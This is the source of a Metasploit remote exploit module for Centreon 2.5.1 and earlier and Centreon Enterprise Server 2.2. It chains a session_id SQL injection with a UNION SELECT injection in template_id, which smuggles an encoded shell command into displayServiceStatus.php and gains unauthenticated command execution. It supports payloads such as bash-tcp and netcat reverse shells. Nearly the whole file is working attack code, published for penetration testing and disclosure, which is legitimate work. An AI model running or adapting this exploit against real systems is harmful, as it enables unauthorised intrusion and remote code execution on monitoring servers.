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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Centreon SQL and Command Injection',
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      'Description'    => %q{
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        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
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        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
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        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
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        commands as long as there is a valid session registered in the centreon.session table.
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        In order to have a valid session, all it takes is a successful login from anybody.
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        The exploit itself does not require any authentication.
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        This module has been tested successfully on Centreon Enterprise Server 2.2.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'MaZ', # Vulnerability Discovery and Analysis
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          'juan vazquez' # Metasploit Module
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        ],
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      'References'     =>
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        [
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          ['CVE', '2014-3828'],
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          ['CVE', '2014-3829'],
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          ['US-CERT-VU', '298796'],
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          ['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']
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        ],
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      'Arch'           => ARCH_CMD,
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      'Platform'       => 'unix',
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      'Payload'        =>
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        {
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          'Space'       => 1500, # having into account 8192 as max URI length
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd cmd_bash',
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              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
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            }
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        },
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      'Targets'        =>
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        [
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          ['Centreon Enterprise Server 2.2', {}]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2014-10-15',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
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      ])
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  end
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  def check
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    random_id = rand_text_numeric(5 + rand(8))
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    res = send_session_id(random_id)
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    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
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      return Exploit::CheckCode::Safe
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    end
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    injection = "#{random_id}' or 'a'='a"
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    res = send_session_id(injection)
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    if res && res.code == 200
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      if res.body && res.body.to_s =~ /sh: graph: command not found/
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        return Exploit::CheckCode::Vulnerable
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      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
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        return Exploit::CheckCode::Detected
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      end
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    if check == Exploit::CheckCode::Safe
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      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
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    elsif check == Exploit::CheckCode::Detected
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      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
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    end
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    print_status("Exploiting...")
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    random_id = rand_text_numeric(5 + rand(8))
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    random_char = rand_text_alphanumeric(1)
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    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
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    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
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    res = send_template_id(session_injection, template_injection)
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    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
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      vprint_status("Output: #{res.body}")
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    end
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  end
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  def send_session_id(session_id)
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    res = send_request_cgi(
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      'method'   => 'GET',
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      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
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      'vars_get' =>
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        {
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          'session_id' => session_id
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        }
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    )
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    res
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  end
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  def send_template_id(session_id, template_id)
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    res = send_request_cgi({
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      'method'   => 'GET',
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      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
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      'vars_get' =>
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        {
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          'session_id' => session_id,
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          'template_id' => template_id
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        }
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      }, 3)
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    res
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  end
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  def mysql_payload
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    p = ''
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    payload.encoded.each_byte { |c| p << "#{c},"}
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    p
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  end
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end
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